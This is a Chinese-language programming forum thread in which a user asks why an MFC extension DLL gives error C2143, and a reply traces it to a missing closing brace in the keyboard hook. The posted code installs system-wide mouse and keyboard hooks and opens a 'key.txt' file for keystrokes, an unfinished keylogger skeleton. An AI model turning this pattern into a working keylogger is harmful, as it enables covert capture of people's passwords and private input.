积极答复者
语法错误 : 缺少“;”(在“{”的前面)

问题
-
我先创建一个头文件,在里面建立一个钩子类,代码如下
#include <afx.h>
class AFX_EXT_CLASS CKSHooK : public CObject
{
public:
CKSHooK();
virtual~CKSHooK();
public:
BOOL StartHook(HWND hWnd);
BOOL StopHook();
};
在源程序中,include这个头文件,然后写如下代码出现错误。错误 error C2143: 语法错误 : 缺少“;”(在“{”的前面)
CKSHook::CKSHook()
{ 【【就是这里的大括号出现的错误,缺少“;”(在“{”的前面)】】
}
CKSHook::~CKSHook()
{
if(glhmouse&&glhkey)
{
UnhookWindowsHookEx(glhmouse);
UnhookWindowsHookEx(glhkey);
}
}请问为什么啊 谢谢
答案
-
问题找到了!
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM LParam)
最后缺少一个"}",导致了不匹配。
另外,
1. 你应该使用MSDN的代码插件添加代码,这样别人阅读你代码的难度会降低;
2. 还有就是你可以不要将类的实现也一并放在dllmain中,这个是我个人看法;3. 代码中有多处变量的大小写与定义的时候不一致!
----------------------------------------------------------------
以上。
No music, no way coolchae@gmail.com
- 已建议为答案 Elegentin XieModerator 2013年5月28日 2:45
- 已标记为答案 wjsta 2013年5月31日 0:24
全部回复
-
// dllmain.cpp : 定义 DLL 的初始化例程。
//#include "stdafx.h"
#include <afxwin.h>
#include <afxdllx.h>
#include "KSHook.h"
#include <winuser.h>#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#pragma data_seg("mydata")
HWND glhPrevTarWnd=NULL;
HWND glhDisplayWnd=NULL;
HHOOK glhmouse=NULL;
HHOOK glhkey=NULL;
HINSTANCE glhinstance=NULL;
#pragma data_seg()
static AFX_EXTENSION_MODULE KSHookDLL = { NULL, NULL };extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
// 如果使用 lpReserved,请将此移除
UNREFERENCED_PARAMETER(lpReserved);if (dwReason == DLL_PROCESS_ATTACH)
{
TRACE0("KSHook.DLL 正在初始化!\n");
// 扩展 DLL 一次性初始化
if (!AfxInitExtensionModule(KSHookDLL, hInstance))
return 0;// 将此 DLL 插入到资源链中
// 注意: 如果此扩展 DLL 由
// MFC 规则 DLL (如 ActiveX 控件)隐式链接到,
// 而不是由 MFC 应用程序链接到,则需要
// 将此行从 DllMain 中移除并将其放置在一个
// 从此扩展 DLL 导出的单独的函数中。使用此扩展 DLL 的
// 规则 DLL 然后应显式
// 调用该函数以初始化此扩展 DLL。否则,
// CDynLinkLibrary 对象不会附加到
// 规则 DLL 的资源链,并将导致严重的
// 问题。new CDynLinkLibrary(KSHookDLL);
glhinstance=hInstance;
}
else if (dwReason == DLL_PROCESS_DETACH)
{
TRACE0("KSHook.DLL 正在终止!\n");// 在调用析构函数之前终止该库
AfxTermExtensionModule(KSHookDLL);
}
return 1; // 确定
}
HWND XYZWindowFromPoint(HWND hwndParent, POINT point, UINT uFlags);
LRESULT WINAPI MouseProc(int nCode,WPARAM wparam,LPARAM lparam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *)lparam;
if(nCode>=0)
{
HWND glhTargetWnd=XYZWindowFromPoint(NULL,pMouseHook->pt,CWP_SKIPINVISIBLE);
if(glhTargetWnd!=glhPrevTarWnd)
{
TCHAR szCaption[100]={0};
GetWindowText(glhTargetWnd,szCaption,_countof(szCaption));
if(IsWindow(glhDisplayWnd))
SendMessage(glhDisplayWnd,WM_SETTEXT,0,(LPARAM)(LPCTSTR)szCaption);
glhPrevTarWnd=glhTargetWnd;
}
}
return CallNextHookEx(glhmouse,nCode,wparam,lparam);
}LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM LParam)
{
char ch=0;
FILE*f1;
if( ((DWORD)LParam&0x40000000)&&(HC_ACTION==nCode))
{
f1=fopen("key.txt","a++");
if(wParam<=0x2f||wParam>=0x100)
ch=0x00;
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch=MapVirtualKey(wParam,2);
ch=char(w);
}
return CallNextHookEx(glhkey,nCode,wParam,LParam);
}CKSHook::CKSHook()
{ 【错误提示就在这里】【错误提示就在这里】【错误提示就在这里】【错误提示就在这里】
}
CKSHook::~CKSHook()
{
if(glhmouse&&glhkey)
{
UnhookWindowsHookEx(glhmouse);
UnhookWindowsHookEx(glhkey);
}
}
BOOL CKSHook::StartHook(HWND hWnd)
{
BOOL bResult=FALSE;
glhmouse=SetWindowsHookEx(WH_MOUSE,MouseProc,glhinstance,0);
glhkey=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,glhInstance,0);
if(glhmouse!=NULL&&glhkey!=NULL)
bResult=TRUE;
glhDisplayWnd=hWnd;
return bResult;
}
BOOL CKSHook::StopHook()
{
BOOL aResult=FALSE;
BOOL bResult=FALSE;
if(glhmouse&&glhkey)
{
aResult= UnhookWindowsHookEx(glhmouse);
bResult= UnhookWindowsHookEx(glhkey);
if(bResult&&aResult)
{
glhPrevTarWnd=NULL;
glhDisplayWnd=NULL;
glhmouse=NULL;
glhkey=NULL;
}
}
return bResult;
}HWND XYZWindowFromPoint(HWND hwndParent, POINT point, UINT uFlags)
{
if(hwndParent != NULL)
return ::ChildWindowFromPointEx(hwndParent, point, uFlags);
RECT rect, rectSearch;
HWND pWnd, hWnd, hSearchWnd;
hWnd = ::WindowFromPoint(point);
if(hWnd != NULL)
{
::GetWindowRect(hWnd, &rect);
pWnd = ::GetParent(hWnd);
if(pWnd != NULL)
{
hSearchWnd = hWnd;
do
{
hSearchWnd=::GetWindow(hSearchWnd, GW_HWNDNEXT);
::GetWindowRect(hSearchWnd, &rectSearch);
if(::PtInRect(&rectSearch, point) && ::GetParent(hSearchWnd) ==
pWnd &&::IsWindowVisible(hSearchWnd))
{
if(((rectSearch.right-rectSearch.left) * (rectSearch.bottom -
rectSearch.top)) <((rect.right - rect.left) * (rect.bottom -
rect.top)))
{
hWnd = hSearchWnd;
::GetWindowRect(hWnd, &rect);
}
}
}
while(hSearchWnd != NULL);
}
}
return hWnd;
} -
问题找到了!
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM LParam)
最后缺少一个"}",导致了不匹配。
另外,
1. 你应该使用MSDN的代码插件添加代码,这样别人阅读你代码的难度会降低;
2. 还有就是你可以不要将类的实现也一并放在dllmain中,这个是我个人看法;3. 代码中有多处变量的大小写与定义的时候不一致!
----------------------------------------------------------------
以上。
No music, no way coolchae@gmail.com
- 已建议为答案 Elegentin XieModerator 2013年5月28日 2:45
- 已标记为答案 wjsta 2013年5月31日 0:24